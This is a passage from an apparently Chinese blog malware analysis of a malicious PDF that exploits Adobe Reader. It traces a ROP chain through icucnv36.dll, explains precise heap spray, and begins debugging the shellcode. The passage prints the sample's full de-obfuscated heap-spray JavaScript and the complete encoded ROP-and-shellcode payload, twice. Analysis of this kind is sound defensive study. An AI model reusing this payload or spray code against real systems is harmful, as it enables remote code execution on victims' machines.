https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104912133-2056680913.png
18)继续执行,到达 0x4A842DB2 地址处
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104912823-1866976272.png
19)该代码把 eax 和 edi 的值交换,此时 eax 保存的是 CreateFileA 函数调用后返回的文件句柄,交换后文件句柄由 edi 保存
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104913485-1913020054.png
20)继续运行到 0x4A802AB1 处
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104914206-1408018943.png
21)该代码把 8 赋值给 ebx
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104914892-1911736292.png
22)继续运行到 0x4A80A8A6处
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104915535-1600668757.png
23)该代码把 edi 的值放到 esp + ebx * 2 处 , 也就是 0x0c0c0c6c ,此处原来的值是 0xFFFFFFFF, 通过 and 操作可以把 edi 的值放到此处,该处刚好为接下来要调用的 CreateFileMappingA 函数的第一个参数位置。
​        这样操作应该是没找到直接把 eax 的值放到栈上指定位置的指令,只找到了把 edi 的值放到栈上指定位置的指令
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104916203-805554254.png
24)按下 Ctrl + F9 运行到返回,接下来把 CreateFileMappingA 函数地址放到 eax 中
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104916825-531122087.png
25)继续运行到 0x4A80B692 处,此时栈中已布置好参数
CreateFileMappingA函数:为指定文件创建或打开命名或未命名的文件映射对象
原型和参数解释:
HANDLE CreateFileMappingA(
         HANDLE                hFile,                //文件句柄,下图中为0x33C
LPSECURITY_ATTRIBUTES lpFileMappingAttributes,        //指向SECURITY_ATTRIBUTES结构的指针,下图中为 null
         DWORD               flProtect,        //指定文件映射对象的页面保护,下图中为 PAGE_EXECUTE_READWRITE 40
         DWORD               dwMaximumSizeHigh,//文件映射对象的最大大小的高阶 DWORD,下图中为0
         DWORD               dwMaximumSizeLow,//文件映射对象的最大大小的低序 DWORD,下图中为 0x10000
LPCSTR                lpName                //文件映射对象的名称,下图中为0
);https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104917431-457802949.png
26)此时按 F7 步入,直接跳转到 CreateFileMappingA 函数运行。在栈上可以看到 CreateFileMappingA 函数的参数,该函数为指定的文件创建文件映射对象
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104918078-465512023.png
27)按下 Ctrl + F9 运行到返回,继续运行,后面的运行和前面的运行很相似,也是调用 MapViewOfFile ,也把 CreateFileMappingA 返回的句柄 0x340 保存到栈上,作为 MapViewOfFile 函数的第一个参数
​        ① 执行 pop ecx 指令,将 ecx 赋值为 4A801064
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104918718-1742490385.png
​        ② 交换 eax, edi,此时 eax 内保存创建文件的句柄,edi 保存 CreateFileMappingA 返回的句柄
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104919359-131597263.png
​        ③ 将 ebx 赋值为 8
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104919988-1708763157.png
​        ④ 将句柄保存到栈上,以便下个函数调用
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104920636-915335352.png
​        ⑤ 出栈 MapViewOfFile 函数的地址
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104921296-1450751225.png
​        ⑥ 继续运行到 0x4A80B692 处,此时栈中已布置好参数
​        MapViewOfFile函数:将文件映射的视图映射到调用进程的地址空间
​        原型和参数解释:
LPVOID MapViewOfFile(
HANDLE hFileMappingObject,        //文件映射对象的句柄,下图中为 0x340
DWORDdwDesiredAccess,                //对文件映射对象的访问类型,下图中为 FILE_MAP_EXECUTE|FILE_MAP_WRITE
DWORDdwFileOffsetHigh,
DWORDdwFileOffsetLow,
SIZE_T dwNumberOfBytesToMap        //要映射到视图的文件映射的字节数,下图中为 0x10000
);​
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104921974-462014165.png
​        ⑦ 跳转到 MapViewOfFile 函数中执行,该函数将一个文件映射对象映射到当前应用程序的地址空间,调用函数后会返回该文件对象在内存中对应的地址
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104922698-679709320.png
​        ⑧ 运行到返回后,eax 存放着映射的内存地址,此处为 0x37D0000
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104923311-107740286.png
28)查看映射地址 0x37D000 处的属性为读写执行权限,可以执行 shellcode
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104923847-1113643329.png
29)继续运行,把 0x4A8A0004 地址放到 ecx
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104924552-1913140727.png
30)把 eax 中由 MapViewOfFile 函数返回的内存地址保存到 0x4A8A0004 中
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104925315-1559038372.png
31)执行 pop ecx 指令将 ecx 赋值为 0x4A801064
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104926066-488180307.png
32)交换 eax, edi,
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104926680-405915172.png
33)给 ebx 赋值 0x30
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104927332-1146840662.png
34)把 edi 的值保存在 esp + ebx*2 的位置,也就是 0x0C0C0D44 的位置 ,该处的作用是用于后续 ROP 链的返回地址,最后 retn 时会返回到 0x37D0000
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104928626-972021830.png
35)给 eax 赋值 0x4A8A0004
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104929228-1288588597.png
36)把 0x4710000 这个新映射的地址保存到 eax 中
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104929917-1315080061.png
37)执行 pop ecx 将 ecx 赋值为 0x4A801064
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104930626-1105228217.png
38)交换 eax, edi(此处两者都一样,交换完也一样)
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104931292-1325380762.png
39)赋值 ebx 为 0x20
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104931911-631933824.png
40)保存 0x37D0000 到 esp + ebx*2 处,该处为后续要调用 memcpy 函数的参数
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104932609-1181749557.png
41)赋值 ecx 为 0x4A801064,该处为一个 retn 指令的地址
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104933330-1085520004.png
42)在 0x4A80AEDC 处把栈地址 + 0xC 的位置加载到 edx,此时 edx 为 0x0C0C0D20 。目的是为后续调用 memcpy 做准备
​        push edx   0x0C0C0D10 0C0C0D20
​        push eax   0x0C0C0D0C 037D0000
​        push ....       0x0C0C0D08 4A8063A5
​        push ....       0x0C0C0D04 0
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104934018-708636270.png
43)通过 call ecx 实现返回控制权
0x4A801064 处为一条 retn 指令,此时执行该指令可直接跳转到 0x4A80AEEE,可重新控制程序流程
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104934688-2142541552.png
44)调整栈中执行位置,继续返回,跳转至 0x4A801F90
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104935345-1873332704.png
45)给 eax 赋值 0x34
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104936119-578673962.png
46)edx + eax 保存到 eax,值为 0x0C0C0D54,该值为后续 memcpy 调用的源地址
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104936853-762523226.png
47)执行 pop ecx 将 ecx 赋值为 0x4A801064
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104937481-1284996585.png
48)交换 eax, edi,此时 edi 中为后续 memcpy 调用的源地址
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104938154-407635925.png
49)赋值 ebx 0xA
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104938808-2061368964.png
50)把 0x0C0C0D54 地址放到 0x0C0C0D4C 处,此处刚好是调用 memcpy 时的源地址参数
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104939479-1692588127.png
51)给 eax 赋值为 memcpy 函数的地址
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104940147-1080287497.png
52)跳转到 memcpy 函数
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104940829-974765394.png
53)memcpy 函数会把数据从一个源地址复制到目的地址,查看栈中构造好的参数,目的地址是 0x37D0000, 源地址是 0x0C0C0D54,0x0C0C0D54 后面就存放着恶意代码
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104941469-670547245.png
54)复制完后,会返回到 0x37D0000 执行恶意代码
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104942112-367818028.png
6.1.4 堆喷(Heap Spray)分析

​        前面分析 ROP 链时,栈顶被切换到 0x0c0c0c0c 的位置,该地址被放置了构造好的栈和shellcode。这里就用到了堆喷技术。
​        在使用HeapSpray的时候,一般会将EIP指向堆区的0x0C0C0C0C位置,然后用JavaScript申请大量堆内存,并用包含着0x90和shellcode的“内存片”覆盖这些内存。通常,JavaScript会从内存低址向高址分配内存,因此申请的内存超过200MB(200MB=200 X 1024X 1024 = 0x0C800000 > 0x0C0C0C0C)后,0x0C0C0C0C将被含有shellcode 的内存片覆盖。只要内存片中的0x90能够命中0x0C0C0C0C的位置,shellcode 就能最终得到执行。
1. 提取样本中的 heap spray 代码


[*]使用 PDFStreamDumper 查看样本文件时,在根对象处有个 /OpenAction 键,指向 11 0 R 对象。OpenAction 指定了在打开文档时会执行什么动作
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104942690-309144508.png
[*]查看 ID 为 11 的对象,发现该动作是执行一段 JavaScript 代码,该代码在 12 0 R 对象处
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104943264-2125122849.png
[*]12 对象处是 javascript 代码,把这段代码复制出来,代码中做了些混淆技巧,如随机命名变量名,把函数名赋值给随机变量,用 \x25 代替 % 号等等。对变量重命名一下
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104943949-1726603636.png
处理好的代码如下:
//afjp;ajf'klaf

var nXzaRHPbywqAbGpGxOtozGkvQWhu;
for (i = 0; i < 28002; i++) // ahjf;ak'
nXzaRHPbywqAbGpGxOtozGkvQWhu += 0x78; //ahflajf

var shellcode = unescape("%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000" +
"\x25\x7530e8\x25\x750000\x25\x75ad00\x25\x757d9b\x25\x75acdf\x25\x75da08\x25\x751676\x25\x75fa65" +
"%uec10%u0397%ufb0c%ufd97%u330f%u8aca%uea5b%u8a49" +
"%ud9e8%u238a%u98e9%u8afe%u700e%uef73%uf636%ub922" +
"%u7e7c%ue2d8%u5b73%u8955%u81e5%u48ec%u0002%u8900" +
"%ufc5d%u306a%u6459%u018b%u408b%u8b0c%u1c70%u8bad" +
"%u0858%u0c6a%u8b59%ufc7d%u5351%u74ff%ufc8f%u8de8" +
"%u0002%u5900%u4489%ufc8f%ueee2%u016a%u8d5e%uf445" +
"%u5650%u078b%ud0ff%u4589%u3df0%uffff%uffff%u0475" +
"%u5646%ue8eb%u003d%u0020%u7700%u4604%ueb56%u6add" +
"%u6a00%u6800%u1200%u0000%u8b56%u0447%ud0ff%u006a" +
"%u458d%u50ec%u086a%u458d%u50b8%u8b56%u0847%ud0ff" +
"%uc085%u0475%u5646%ub4eb%u7d81%u50b8%u5064%u7444" +
"%u4604%ueb56%u81a7%ubc7d%ufeef%uaeea%u0474%u5646" +
"%u9aeb%u75ff%u6af0%uff40%u0c57%u4589%u85d8%u75c0" +
"%ue905%u0205%u0000%u006a%u006a%u006a%uff56%u0457" +
"%u006a%u458d%u50ec%u75ff%ufff0%ud875%uff56%u0857" +
"%uc085%u0575%ue2e9%u0001%u5600%u57ff%u8b10%ud85d" +
"%u838b%u1210%u0000%u4589%u8be8%u1483%u0012%u8900" +
"%ue445%u838b%u1218%u0000%u4589%u03e0%ue445%u4503" +
"%u89e8%udc45%u8a48%u0394%u121c%u0000%uc230%u9488" +
"%u1c03%u0012%u8500%u77c0%u8deb%ub885%ufffe%u50ff" +
"%uf868%u0000%uff00%u1457%ubb8d%u121c%u0000%uc981" +
"%uffff%uffff%uc031%uaef2%ud1f7%ucf29%ufe89%uca89" +
"%ubd8d%ufeb8%uffff%uc981%uffff%uffff%uaef2%u894f" +
"%uf3d1%u6aa4%u8d02%ub885%ufffe%u50ff%u7d8b%ufffc" +
"%u1857%uff3d%uffff%u75ff%ue905%u014d%u0000%u4589" +
"%u89c8%uffc2%ue875%u838d%u121c%u0000%u4503%u50e0" +
"%ub952%u0100%u0000%u548a%ufe48%u748a%uff48%u7488" +
"%ufe48%u5488%uff48%ueee2%u57ff%uff1c%uc875%u57ff" +
"%u8d10%ub885%ufffe%ue8ff%u0000%u0000%u0481%u1024" +
"%u0000%u6a00%u5000%u77ff%uff24%u2067%u57ff%u8924" +
"%ud045%uc689%uc789%uc981%uffff%uffff%uc031%uaef2" +
"%ud1f7%u8949%ucc4d%ubd8d%ufeb8%uffff%u0488%u490f" +
"%u048a%u3c0e%u7522%u491f%u048a%u3c0e%u7422%u8807" +
"%u0f44%u4901%uf2eb%ucf01%uc781%u0002%u0000%u7d89" +
"%ue9c0%u0013%u0000%u048a%u3c0e%u7420%u8806%u0f04" +
"%ueb49%u01f3%u47cf%u7d89%uffc0%uf075%u406a%u558b" +
"%ufffc%u0c52%u4589%u89d4%u8bc7%ue875%u7503%u01e0" +
"%u81de%u1cc6%u0012%u8b00%ue44d%ua4f3%u7d8b%u6afc" +
"%uff00%uc075%u57ff%u8918%uc445%uff3d%uffff%u74ff" +
"%u576a%uc389%u75ff%ufff0%ud475%uff50%u1c57%uff53" +
"%u1057%u7d8b%u81c0%uffc9%uffff%u31ff%uf2c0%uf7ae" +
"%u29d1%u89cf%u8dfe%ub8bd%ufffd%uc7ff%u6307%u646d" +
"%uc72e%u0447%u7865%u2065%u47c7%u2f08%u2063%u8122" +
"%u0cc7%u0000%uf300%u4fa4%u07c6%u4722%u07c6%u5f00" +
"\x25\x75858d\x25\x75fdb8\x25\x75ffff\x25\x7500e8\x25\x750000\x25\x758100\x25\x752404\x25\x750010" +
"%u0000%u006a%uff50%u2477%u67ff%u6a20%uff00%u2c57" +
"%u5553%u5756%u6c8b%u1824%u458b%u8b3c%u0554%u0178" +
"%u8bea%u184a%u5a8b%u0120%ue3eb%u4932%u348b%u018b" +
"%u31ee%ufcff%uc031%u38ac%u74e0%uc107%u0dcf%uc701" +
"%uf2eb%u7c3b%u1424%ue175%u5a8b%u0124%u66eb%u0c8b" +
"%u8b4b%u1c5a%ueb01%u048b%u018b%uebe8%u3102%u89c0" +
"%u5fea%u5d5e%uc25b%u0008"
);

// unescape("%u0c0c%u0c0c"); 滑块代码 0x0c 等于指令 OR al, 0C; 大量执行对 shellcode 无影响
var nop_chip = unescape("\x25\x750c0c\x25\x750c0c");

// 65536 等于 0x10000 等于 2 ^ 16 等于 64KB, 这里的 20+8 应该是用来免杀用的,无实际作用
while (nop_chip.length + 20 + 8 < 65536)
    nop_chip += nop_chip;

// 精准堆喷,使 shellcode 开始的地方一定在 0c0c 结尾的地址 0x....0c0c 处
temp_chip = nop_chip.substring(0, (0x0c0c - 0x24) / 2);
temp_chip += shellcode; //拼接上 shellcode,该位置一定在 0c0c 结尾的地址处
temp_chip += nop_chip; //拼接后续的滑块代码
// shellcode 小片段一个是 0x10000 大小,unicode 一个长度等于2字节,0x10000实际是 0x20000 字节大小,除2 为 0x10000
small_shellcode_slide = temp_chip.substring(0, 65536 / 2);

// 最终一个shellcode实际大小为 1MB,0x80000 * 2 = 0x100000 = 1MB
while (small_shellcode_slide.length < 0x80000)
    small_shellcode_slide += small_shellcode_slide;

// 从后面截短 0x1020 - 0x08 = 4120 字节,目的应该是让实际大小小于1MB,因为这里分配的一个堆块是1MB大小,shellcode_slide 应该小于堆块大小
shellcode_slide = small_shellcode_slide.substring(0, 0x80000 - (0x1020 - 0x08) / 2);

var slide = new Array();
// 0x1f0 等于 496 ,也就是在内存中申请了接近 500 MB 的内存
for (i = 0; i < 0x1f0; i++)
    slide = shellcode_slide + "s";// s 字符无实际作用,估计用于免杀2. 代码分析


[*]由于 0x0c0c0c0c 处的代码在运行时已经被修改过,跳转到 0x0c0B0c0c 处查看。第一行代码就是实际的 shellcode,以 \x41\x41 开头,第二个双字即为 icucnv36.dll 中的返回地址 0x4A8063A5,是 ROP 链的一部分
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104944662-653608777.png
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104945387-1221759579.png
[*]接着在后面构造了 4 字节长度的滑板代码,也就是4个 0x0c,0x0c 等于指令 OR AL, 0C; 大量执行对 shellcode 无影响,和 0x90 nop 指令等价
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104946274-1157768578.png
[*]在后面的 while 循环处不断拼接,直到长度为 65536 * 2 字节 ,因为 javascript 的 unicode 字符串中的一个字符用两个字节来表示。换个说法,就是长度为 2 的字符串,实际是占用4个字节的
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104946937-170704551.png
[*]后面的代码先截取了长度为 0x0c0c-0x24 长度的滑板代码,然后在截取的滑板代码后面添加 shellcode,这样做的目的是保证 shellcode 中0x4A8063A5 开始处的地址刚好保存在 0xXXXX0C0C 的地址上。如0x0C0B0C0C、0x0C0C0C0C 等
然后再在后面拼上滑板代码,最后在66行处把代码截断成 65536 长度,也就是 0x10000 的长度。也就是说,在堆中,每间隔 0x10000 的地址,就会有一段完全相同的 shellcode 加滑板代码,如 0x0C0A0C0C、0x0C0B0C0C、0x0C0C0C0C 处的代码完全一样
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104947689-772305965.png
减去 0x24 的原因:因为堆的开头会有 0x20 的头部信息,划到该堆块地址的开头可以看到。由于前面 shellcode 是以 4 个 0x41 字节开头的,所以要再减去 4,这样 0x4A8063A5 就刚好可以放到堆可以内存开始的 0x0c0c 的位置
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104948216-1178926084.png
举例
​        0xC060000 是开始地址,但该地址是存放堆头部信息的,不是存放数据开始的地址,真正开始存放数据的是 0xC060020 开始的地址。所以shellcode 地址存放在 0xC060000 + 0x20 + 0x0C0C - 0x20 - 0x4 = 0xC060C08 地址处,该地址是存放 shellcode 开头的 0x41414141 ,第二个双字 0x4A8063A5 刚好位于 0xC060C08 + 0x4 = 0xC060C0C 位置处,这就实现了精准堆喷。
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104948759-1089803469.png
​        每一小片 shellcode和滑板代码的长度是 0x10000,因此在 0xC060C0C + 0x10000 = 0xC070C0C 处,也存在同样的代码,这就保证了在 0x0C0C0C0C 处一定为 shellcode 的 0x4A8063A5
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104949334-596864069.png
[*]接下来把 0x10000 长度的 shellcode 不断拼接,直到长度接近 0x80000 * 2 = 0x100000, 也就是 1MB 大小
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104949866-904954432.png
[*]最后截断 0x1020 - 0x08 长度
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104950368-493700876.png
查看当前堆块,结束地址为 0xC15FFFC + 0x4 = 0xC160000 大小为1MB,但实际上比 1MB 要小 0x20 字节或者更多。所以后面截断一部分可以让堆块能保存下构造好的 shellcode
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104950854-734217524.png
[*]接着创建了一个数组,然后不断往数组中填入 1MB 大小的 shellcode 以实现 heap spray ,0x1f0 为 496,也就是创建了约 500MB 大小的堆内存
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104951334-1054642544.png
[*]查看任务管理器,发现内存用了 800 多M,和分析基本一致,heap spray 是在文档打开时完成的,因为要申请 500M 的内存,所以刚启动时会卡顿几秒钟
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104951847-1321531100.png
6.1.5 恶意样本分析(shellcode)

1. 代码

var shellcode = unescape("%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000" +
"\x25\x7530e8\x25\x750000\x25\x75ad00\x25\x757d9b\x25\x75acdf\x25\x75da08\x25\x751676\x25\x75fa65" +
"%uec10%u0397%ufb0c%ufd97%u330f%u8aca%uea5b%u8a49" +
"%ud9e8%u238a%u98e9%u8afe%u700e%uef73%uf636%ub922" +
"%u7e7c%ue2d8%u5b73%u8955%u81e5%u48ec%u0002%u8900" +
"%ufc5d%u306a%u6459%u018b%u408b%u8b0c%u1c70%u8bad" +
"%u0858%u0c6a%u8b59%ufc7d%u5351%u74ff%ufc8f%u8de8" +
"%u0002%u5900%u4489%ufc8f%ueee2%u016a%u8d5e%uf445" +
"%u5650%u078b%ud0ff%u4589%u3df0%uffff%uffff%u0475" +
"%u5646%ue8eb%u003d%u0020%u7700%u4604%ueb56%u6add" +
"%u6a00%u6800%u1200%u0000%u8b56%u0447%ud0ff%u006a" +
"%u458d%u50ec%u086a%u458d%u50b8%u8b56%u0847%ud0ff" +
"%uc085%u0475%u5646%ub4eb%u7d81%u50b8%u5064%u7444" +
"%u4604%ueb56%u81a7%ubc7d%ufeef%uaeea%u0474%u5646" +
"%u9aeb%u75ff%u6af0%uff40%u0c57%u4589%u85d8%u75c0" +
"%ue905%u0205%u0000%u006a%u006a%u006a%uff56%u0457" +
"%u006a%u458d%u50ec%u75ff%ufff0%ud875%uff56%u0857" +
"%uc085%u0575%ue2e9%u0001%u5600%u57ff%u8b10%ud85d" +
"%u838b%u1210%u0000%u4589%u8be8%u1483%u0012%u8900" +
"%ue445%u838b%u1218%u0000%u4589%u03e0%ue445%u4503" +
"%u89e8%udc45%u8a48%u0394%u121c%u0000%uc230%u9488" +
"%u1c03%u0012%u8500%u77c0%u8deb%ub885%ufffe%u50ff" +
"%uf868%u0000%uff00%u1457%ubb8d%u121c%u0000%uc981" +
"%uffff%uffff%uc031%uaef2%ud1f7%ucf29%ufe89%uca89" +
"%ubd8d%ufeb8%uffff%uc981%uffff%uffff%uaef2%u894f" +
"%uf3d1%u6aa4%u8d02%ub885%ufffe%u50ff%u7d8b%ufffc" +
"%u1857%uff3d%uffff%u75ff%ue905%u014d%u0000%u4589" +
"%u89c8%uffc2%ue875%u838d%u121c%u0000%u4503%u50e0" +
"%ub952%u0100%u0000%u548a%ufe48%u748a%uff48%u7488" +
"%ufe48%u5488%uff48%ueee2%u57ff%uff1c%uc875%u57ff" +
"%u8d10%ub885%ufffe%ue8ff%u0000%u0000%u0481%u1024" +
"%u0000%u6a00%u5000%u77ff%uff24%u2067%u57ff%u8924" +
"%ud045%uc689%uc789%uc981%uffff%uffff%uc031%uaef2" +
"%ud1f7%u8949%ucc4d%ubd8d%ufeb8%uffff%u0488%u490f" +
"%u048a%u3c0e%u7522%u491f%u048a%u3c0e%u7422%u8807" +
"%u0f44%u4901%uf2eb%ucf01%uc781%u0002%u0000%u7d89" +
"%ue9c0%u0013%u0000%u048a%u3c0e%u7420%u8806%u0f04" +
"%ueb49%u01f3%u47cf%u7d89%uffc0%uf075%u406a%u558b" +
"%ufffc%u0c52%u4589%u89d4%u8bc7%ue875%u7503%u01e0" +
"%u81de%u1cc6%u0012%u8b00%ue44d%ua4f3%u7d8b%u6afc" +
"%uff00%uc075%u57ff%u8918%uc445%uff3d%uffff%u74ff" +
"%u576a%uc389%u75ff%ufff0%ud475%uff50%u1c57%uff53" +
"%u1057%u7d8b%u81c0%uffc9%uffff%u31ff%uf2c0%uf7ae" +
"%u29d1%u89cf%u8dfe%ub8bd%ufffd%uc7ff%u6307%u646d" +
"%uc72e%u0447%u7865%u2065%u47c7%u2f08%u2063%u8122" +
"%u0cc7%u0000%uf300%u4fa4%u07c6%u4722%u07c6%u5f00" +
"\x25\x75858d\x25\x75fdb8\x25\x75ffff\x25\x7500e8\x25\x750000\x25\x758100\x25\x752404\x25\x750010" +
"%u0000%u006a%uff50%u2477%u67ff%u6a20%uff00%u2c57" +
"%u5553%u5756%u6c8b%u1824%u458b%u8b3c%u0554%u0178" +
"%u8bea%u184a%u5a8b%u0120%ue3eb%u4932%u348b%u018b" +
"%u31ee%ufcff%uc031%u38ac%u74e0%uc107%u0dcf%uc701" +
"%uf2eb%u7c3b%u1424%ue175%u5a8b%u0124%u66eb%u0c8b" +
"%u8b4b%u1c5a%ueb01%u048b%u018b%uebe8%u3102%u89c0" +
"%u5fea%u5d5e%uc25b%u0008"
);2. 恶意代码行为调试


[*]把恶意代码复制到新创建的可执行内存后,跳转到该地址运行恶意代码(此处有重新调试,样本文件为 名企面试自助手册.pdf ,所以生成的地址和之前调试不一样,shellcode也有区别,主要是这个 shellcode 更具代表性)
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104952502-497873811.png
[*]0x35E0044 处先赋值 ecx 为 0x30
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104953290-580108543.png
[*]fs 处即为进程环境块 PEB 的指针,通过 PEB + 0xC 偏移处获取 PEB_LDR_DATA 结构体指针,PEB_LDR_DATA 偏移 0x1C 处获取 InInitializationOrderModuleList 成员指针
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104953862-455571156.png
[*]lods 获取双向链表当前节点的后继指针, 指向 kernel32.dll 节点,找到属于kernel32.dll的结点后,在其基础上再偏移0x08就是kernel32.dll在内存中的加载基地址。获取加载基地址为 0x7C800000 ,保存在 ebx 中
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104954475-2000782749.png
[*]在 0x35E0052 处往栈里面压入 0xC,这个数目是需要寻找的函数数目,再压入基址,然后在 0x37D005A 处压入了第一个需要寻址的函数 hash
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104955175-1728469943.png
[*]在 0x35E02F8 处通过基址偏移 0x3C 处获取 PE 头偏移,然后在 PE 头偏移 0x78 处获取了 kernel32.dll 导出表的虚拟地址 0x262C,加上基址为 0x7C80262C
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104955870-1414756172.png
[*]接着 0x35E0301 处的代码在导出表偏移 0x18 处获取了导出表函数的数目,为 0x3B9 个函数,保存在 ecx 中
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104956475-172342930.png
[*]在导出表偏移 0x20 处获取了导出表函数名称表的地址,为 0x3538,加上基址后是 0x7C803538
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104957146-1767648233.png
[*]在 0x35E030C 处从最后一个函数名地址开始获取 RVA 放到 esi 中,然后在 0x35E030F 处加上基址获取函数名的VA到 esi 中,可以看到本次加载的函数是 lstrlenW 函数
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104957898-220456834.png
[*]执行 lods byte ptr ds: 指令将该函数名字符串一个字节一个字节的加载到 eax 中
